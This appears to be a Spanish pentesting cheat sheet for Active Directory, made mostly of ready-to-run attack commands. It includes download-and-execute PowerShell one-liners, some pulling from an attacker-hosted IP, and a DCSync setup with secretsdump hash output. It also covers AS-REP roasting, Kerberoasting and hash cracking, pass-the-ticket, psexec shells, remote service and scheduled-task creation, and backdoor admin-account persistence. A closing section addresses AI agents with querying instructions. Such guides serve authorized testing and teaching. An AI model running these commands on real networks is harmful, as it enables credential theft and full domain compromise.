# Active directory

## <mark style="color:red;">Herramientas</mark>

Antes de ejecutar scripts de powershell que normalmente son identificados como maliciosos, se recomienda ejecutar las evasiones detalladas en [Windows](/pentesting-en-infraestructuras/red-interna/windows.md#evasion-de-restricciones).

**ADModule**

<https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps>

<https://github.com/samratashok/ADModule>

```powershell
git clone "https://github.com/samratashok/ADModule.git"
cd ADModule
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1 
```

Lista de cmdlets: <https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps>

**PowerView**

<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Recon/PowerView.ps1'))
```

{% endcode %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerView.ps1'))
```

Antes habrá que habilitar la ejecución de scripts: [#habilitar-ejecucion-de-scripts](#habilitar-ejecucion-de-scripts "mention")

Luego, se carga PowerView:

```
cd PowerSploit\Recon
. .\PowerView.ps1
```

```powershell
. C:\AD\Tools\PowerSploit\Recon\PowerView.ps1
```

One liner - Descarga y ejecución del script:

{% code overflow="wrap" %}

```powershell
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
```

{% endcode %}

**SharpView**

{% @github-files/github-code-block url="<https://github.com/tevora-threat/SharpView/>" %}

#### ADExplorer

<https://learn.microsoft.com/es-es/sysinternals/downloads/adexplorer>

#### ADRecon

<https://github.com/adrecon/ADRecon>

#### ADAPE

<https://github.com/hausec/ADAPE-Script>

```powershell
. .\ADAPE.ps1
```

```powershell
ADAPE.ps1 -All
ADAPE.ps1 -Inv
ADAPE.ps1 -Kerberoast
ADAPE.ps1 -Bloodhound
ADAPE.ps1 -GPP
ADAPE.ps1 -PrivEsc
ADAPE.ps1 -PView
```

#### Ping Castle

<https://www.pingcastle.com/download/>

## <mark style="color:red;">Configuración DNS</mark>

Cuando se realiza una auditoría de **Active Directory**, uno de los primeros pasos que muchos olvidan es **configurar correctamente el DNS**. Si no apuntas tu máquina al **Controlador de Dominio (DC)** como servidor DNS, estarás limitando tus capacidades de enumeración, autenticación y explotación.

Cuando hay múltiples DCs, normalmente **todos comparten la misma zona DNS** y actúan como servidores DNS autoritativos del dominio, por lo que, **se puede usar cualquier DC como servidor DNS.**

Por ejemplo, si el DNS no está configurado correctamente, no podrás obtener tickets de servicio (TGS) ni realizar consultas a Kerberos.

{% hint style="success" %}
**Solución**: Cambiar el DNS al del DC y asegurarse de que la máquina puede hacer `nslookup` al dominio.
{% endhint %}

### Cambiar servidor DNS del sistema

Siendo, por ejemplo, `10.200.80.101` la IP del controlador del dominio (DC).

Para cambiar de forma sencilla la configuración:

* Kali:

{% code overflow="wrap" %}

```bash
wget "https://raw.githubusercontent.com/xtormin/CyberSnippets/refs/heads/main/network/swap-dns.sh"
```

{% endcode %}

```bash
bash swap-dns.sh 10.200.80.101
```

* Windows:

{% code overflow="wrap" %}

```powershell
wget "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/network/Swap-DNS.ps1"
```

{% endcode %}

Ejecutar con privilegios de administrador:

```powershell
.\Swap-DNS.ps1 -NewPrimaryDNS 10.200.80.101
```

Para comprobar en ambos casos que está configurado correctamente, hacer `nslookup` del dominio, siendo por ejemplo `xtormin.local`:

```bash
nslookup dc.xtormin.local
```

Si se resuelve correctamente el dominio, se encuentra bien configurado.

### Añadir registro DNS manualmente

Si no es posible cambiar la configuración DNS, se pueden añadir los registros a mano en el sistema. No obstante, solo se recomienda para casos puntuales, ya que no es viable realizarlo con una gran cantidad de hosts y además, puede dar lugar a fallos en la explotación de vulnerabilidades.

* Kali:

```bash
echo "10.200.80.201 web.xtormin.local" > /etc/hosts
```

* Windows:

{% code overflow="wrap" %}

```powershell
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "`n10.200.80.201 web.xtormin.local"
```

{% endcode %}

## <mark style="color:red;">Enumeración manual</mark>

### [Enumeración manual](/pentesting-en-infraestructuras/red-interna/active-directory/enumeracion-manual.md)

## <mark style="color:red;">Enumeración automatizada</mark>

### BloodHound

[BloodHound](/pentesting-en-infraestructuras/red-interna/active-directory/bloodhound.md)

## <mark style="color:red;">Ataques</mark>

### <mark style="color:red;">Password Spraying</mark>

Identificar cuentas con el contador de intentos fallidos no nulos (es decir, que ya han agotado algún intento de inicio de sesión): [#enumerar-cuentas-que-cuenten-con-un-badpwdcount-greater-than-0](#enumerar-cuentas-que-cuenten-con-un-badpwdcount-greater-than-0 "mention")

{% code overflow="wrap" %}

```powershell
ldapsearch -x -h <DC_IP> -b "CN=Default Domain Policy,CN=System,DC=domain,DC=local"
```

{% endcode %}

### ADCS - Certificados vulnerables

<https://github.com/GhostPack/Certify?tab=readme-ov-file#compile-instructions>

Binarios complilados: <https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git>

```powershell
Certify.exe find /vulnerable
```

### DCsync

Este ataque permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. Esto puede ser utilizado por un atacante para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear *Golden Tickets*.

Por ejemplo:

* Si un usuario `SVC-TEST` es miembro de `SERVICE ACCOUNTS`, `PRIVILAGED IT ACCOUNTS` y `ACCOUNTS OPERATORS`.
* Los miembros del grupo `ACCOUNT OPERATORS` tienen privilegios **GenericAll** sobre el grupo `EXCHANGE WINDOWS PERMISSIONS`. Esto significa que tenemos control total para manipular cualquier objeto de destino.
* Los miembros del grupo `EXCHANGE WINDOWS PERMISSIONS` tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominio `XTORMINCORP.LOCAL`. Esto significa que podemos otorgarnos el privilegio de **DcSync**.
* Con este privilegio se podría llevar acabo un ataque de **DCSync**.

Teniendo en cuenta este ejemplo, se crea un usuario en el dominio y se le añade al grupo que cuenta con privilegios de escritura sobre DACL:

```powershell
net user xtormin xtormin /add /domain
net group "Exchange Windows Permissions" xtormin /add /domain
net group "Exchange Windows Permissions"
```

Se le da permisos de DCSync al usuario creado:

{% code overflow="wrap" %}

```powershell
$SecPassword = ConvertTo-SecureString 'xtormin' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('XTORMINCORP\xtormin', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=xtormincorp,DC=local" -PrincipalIdentity xtormin -Rights DCSync
```

{% endcode %}

Y se obtienen los hashes de los usuarios:

```powershell
impacket-secretsdump xtormincorp.local/xtormin:xtormin@192.168.1.100
```

<pre><code>Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
xtormincorp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:<a data-footnote-ref href="#user-content-fn-1">32693b11e6aa90eb43d32c72a07ceea6</a>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xtormincorp.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</code></pre>

Con netexec se puede verificar a qué hosts tiene acceso el usuario administrador haciendo uso del hash obtenido anteriormente:

```
netexec smb 192.168.1.100 -u <usuario> -H <nthash>
netexec smb 192.168.1.100 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
```

Se obtiene una shell usando psexec:

{% code overflow="wrap" %}

```powershell
impacket-psexec -hashes 32693b11e6aa90eb43d32c72a07ceea6:32693b11e6aa90eb43d32c72a07ceea6 administrator@192.168.1.100
```

{% endcode %}

### AS-REP Roasting - Autenticación de kerberos no requerida

Este ataque explota cuentas que no requieren la preautenticación Kerberos. Si un usuario tiene esta opción deshabilitada, un atacante puede solicitar un ticket de autenticación (TGT) para ese usuario y recibir un mensaje cifrado con su contraseña, que puede ser crackeado offline.

```bash
impacket-GetNPUsers -no-pass -dc-ip <IP del DC> <dominio>/<usuario>
```

{% code overflow="wrap" %}

```bash
for user in $(cat creds/usernames.txt); do impacket-GetNPUsers -no-pass -dc-ip 192.168.1.10 xtormincorp/${user} | grep -v Impacket; done
```

{% endcode %}

{% code overflow="wrap" %}

```bash
[*] Getting TGT for svc-test
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
```

{% endcode %}

Se crea un fichero "svc-test.hc18200" con el contenido del ticket:

{% code overflow="wrap" %}

```
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
```

{% endcode %}

Se intenta crackear el hash, por ejemplo, con un diccionario:

```bash
hashcat -m 18200 hash/svc-test.hc18200 /usr/share/wordlists/rockyou.txt --force
```

{% hint style="success" %} <mark style="color:green;">**MITIGACIÓN**</mark>

* [ ] Comprobar que la opción "Do not require Kerberos preauthentication" esté desmarcada en todas las cuentas del AD.
* [ ] Configurar una alerta que permita detectar cuando un usuario solicite un TGT sin preautenticación.
* [ ] Por si se diera el caso de que una cuenta se viera afectada, prevenirlo con una política de contraseñas robusta.
  {% endhint %}

### Kerberoasting

Se solicita un **TGS (Ticket Granting Service)** para las cuentas de servicio que tienen SPNs asociados y se crackean los tickets para obtener la contraseña. El éxito del ataque dependerá de la complejidad de la contraseña del servicio.

* Enumeración de cuentas con SPN:

```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Get-DomainUser -SPN
```

* Solicitud de tickets TGS:

Desde windows:

{% code overflow="wrap" %}

```powershell
Get-netuser -SPN | Get-DomainSPNTicket -outputformat Hashcat | Select-Object samaccountname,Hash | ConvertTo-Csv -NoTypeInformation | Select-object -skip 1 > kerberoast.csv
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Add-Type -AssemblyName System.IdentityModelNew -ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Clase de servicio\Nombre de host:Puerto"
```

{% endcode %}

```powershell
git clone "https://github.com/PowerShellMafia/PowerSploit.git"
cd PowerSploit\Recon
Import-Module Recon

Invoke-Kerberoast -Domain active.htb -OutputFormat Hashcat | fl
```

Desde Kali:

{% code overflow="wrap" %}

```bash
IPDC='<IP del controlador de dominio'
python3 GetUserSPNs.py xtormincorp.local/svc_tgs:St2025 -dc-ip $IPDC -request -outputfile TGS_hash.txt
```

{% endcode %}

{% hint style="danger" %}
*Si se devuelve este **error**: **Kerberos SessionError: KRB\_AP\_ERR\_SKEW(Clock skew too great)**, se suele solucionar sincronizando el host con el DC:*&#x20;

```bash
IPDC='<IP del controlador de dominio'
ntpupdate $IPDC
```

{% endhint %}

Cracking de tickets:

* John:

```bash
john.exe --wordlist=C:\AD\Tools\kerberoast\10kworst-pass.txt C:\AD\Tools\hashes.txt
```

* Hashcat:

```bash
hashcat -m 13100 --force <fichero con TGSs> <lista de contraseñas>
```

### Pass the Ticket - PTT

<https://github.com/GhostPack/Rubeus>

```powershell
.\Rubeus.exe dump
```

#### **Windows**

**Opción 1:** Se añade el ticket directamente en Base64:

```powershell
.\Rubeus.exe ptt /ticket:<Base64Ticket>
```

**Opción 2:** Se decodifica el código en Base64 en un fichero .kirbi que luego será inyectado desde la herramienta mimikatz:

{% code overflow="wrap" %}

```powershell
[IO.File]::WriteAllBytes("C:\Users\xtormin\Desktop\teresa.kirbi", [Convert]::FromBase64String("<Base64Ticket>"))
```

{% endcode %}

```powershell
.\mimikatz.exe
```

```powershell
kerberos:ptt C:\Users\xtormin\Desktop\teresa.kirbi
```

**Opción 3:** Se crea un ticket TGT haciendo uso del *hash* del usuario:

{% code overflow="wrap" %}

```powershell
C:\AD\Tools\Rubeus.exe -args asktgt /user:<usuario> /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

C:\AD\Tools\Rubeus.exe -args asktgt /user:useradmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

{% endcode %}

Se enumeran los tickets disponibles:

```powershell
klist
```

Se inicia sesión:

```powershell
.\PsExec.exe -accepteula \\systm.xtormincorp.local powershell
```

#### **Linux**

<https://github.com/SolomonSklash/RubeusToCcache>

```bash
python rubeustoccache.py <Base64Ticket> ticket.kirbi ticket.ccache
```

```bash
export KRB5CCNAME=ticket.ccache
```

```bash
psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
smbexec.py <dominio>/<usuario>@<máquina> -k -no-pass
wmiexec.py <dominio>/<usuario>@<máquina> -k -no-pass
```

```bash
smbexec.py xtormincorp.local/xtormin@DC01.xtormincorp.local -k -no-pass
```

### Delegación

#### Delegación no restringida / Unconstrained Delegation

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>Powerview</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainComputer -Unconstrained | select -ExpandProperty name
</code></pre></td></tr></tbody></table>

#### Delegación restringida / Constained Delegation

Para identificar equipos que cuentan con el atributo `TrustedForDelegation` se puede usar el siguiente comando:

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>Powerview</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADComputer -Filter {TrustedForDelegation -eq $true}
</code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(&#x26;(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$search.FindAll() | ForEach-Object { $_.Properties.samaccountname }
</code></pre></td></tr></tbody></table>

Para obtener la lista completa y guardarla en un fichero CSV:

```powershell
# Script para obtener equipos con TrustedForDelegation y guardarlos en CSV
$date = Get-Date -Format "yyyyMMdd"
$outputFile = "trustedfordelegation_${date}_hosts.csv"

# Obtener los equipos con TrustedForDelegation habilitado
$computers = Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties Name,DNSHostName,Enabled,Description,OperatingSystem,TrustedForDelegation

# Seleccionar propiedades relevantes y exportar a CSV
$computers | Select-Object Name,DNSHostName,Enabled,Description,OperatingSystem,TrustedForDelegation | 
Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8

Write-Host "Datos exportados correctamente a $outputFile"
```

Si solo se quiere hacer de una lista de hosts en concreto:

{% code overflow="wrap" %}

```powershell
# Script para consultar TrustedForDelegation solo de los hosts listados en scope.txt
$date = Get-Date -Format "yyyyMMdd"
$outputFile = "trustedfordelegation_${date}_hosts.csv"
$scopeList = Get-Content "scope.txt"

$results = foreach ($fqdn in $scopeList) {
    $computer = Get-ADComputer -Filter {DNSHostName -eq $fqdn} -Properties Name, DNSHostName, Enabled, Description, OperatingSystem, TrustedForDelegation
    if ($computer) {
        [PSCustomObject]@{
            Name                   = $computer.Name
            DNSHostName           = $computer.DNSHostName
            Enabled               = $computer.Enabled
            Description           = $computer.Description
            OperatingSystem       = $computer.OperatingSystem
            TrustedForDelegation  = $computer.TrustedForDelegation
        }
    }
}

# Exportar resultados
$results | Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8

Write-Host "Datos exportados correctamente a $outputFile"
```

{% endcode %}

## <mark style="color:red;">Movimiento lateral</mark>

### Conexiones remotas

[Misc](/pentesting-en-infraestructuras/misc.md#conexion-remota)

### SC

* **Puerto:**&#x20;
  * `135/tcp` & `49152-65535/ TCP` (DCE/RPC)
  * `445/tcp` (RPC sobre canales con nombre SMB )
  * `139/tcp` (RPC sobre canales con nombre SMB )
* **Grupo requerido:** Administradores

{% code overflow="wrap" %}

```powershell
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
```

{% endcode %}

```powershell
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
```

**Creación remota de tareas programadas**

{% code overflow="wrap" %}

```powershell
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 
schtasks /s TARGET /run /TN "THMtask1" 
```

{% endcode %}

```powershell
schtasks /S TARGET /TN "THMtask1" /DELETE /F
```

## <mark style="color:red;">Persistencia</mark>

### Creación de usuarios

Creación de un usuario administrador:

```bash
net user xtormin "password" /add
net localgroup Administradores xtormin /add
```

## <mark style="color:red;">Casos de ataque</mark>

### Ejemplo 1 - Máquinas con acceso privilegiado + PTT

(aka. Derivative Local Admin + PTT)

Teniendo un acceso previo con un "Usuario A" del dominio sin privilegios en la "Máquina A":

* Se enumeran todas las máquinas en las que se tiene acceso de administrador local "*Find-LocalAdminAccess*".&#x20;

```
. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
```

* Se obtiene una "Máquina B" y se accede vía [PSExec](https://learn.microsoft.com/es-es/sysinternals/downloads/psexec), SMBExec, etc.

```
psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
```

* Se extraen los tickets disponibles en la máquina, por ejemplo, haciendo uso de Rubeus o Mimikatz.

```
.\Rubeus.exe dump
```

* Se carga el ticket *krbtgt* de un "Usuario B" (de la "Máquina B") en la "Máquina A" (dentro del dominio) o en una "Máquina C" (fuera del dominio).

&#x20;[#kerberos-pass-the-ticket-ptt](#kerberos-pass-the-ticket-ptt "mention")

* Se accede a la "Máquina B" con el ticket, suplantando la identidad del "Usuario B".

<figure><img src="/files/Pkau7ZGRRSSiKMDFqB3v" alt=""><figcaption><p>Ejemplo 1 - Esquema de ataque</p></figcaption></figure>

## <mark style="color:red;">Referencias</mark>

* <https://gist.github.com/shorefall/cb9733f3aaf666d7db94e69dcd8b1e44>
* <https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70>
* <https://gist.github.com/MHaggis/df2de612615ef6bd01ea936cc8351ab2>
* <https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement/alternate-authentication-material/wip-pass-the-ticket>
* <https://wadcoms.github.io/#+Privilege%20Escalation>
* <https://medium.com/r3d-buck3t/attacking-service-accounts-with-kerberoasting-with-spns-de9894ca243f>
* <https://r3dbuck3t.notion.site/Windows-Active-Directory-Pentest-Methodology-e8b133fb1342403aabde337b82f66fbd>

[^1]: nthash


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
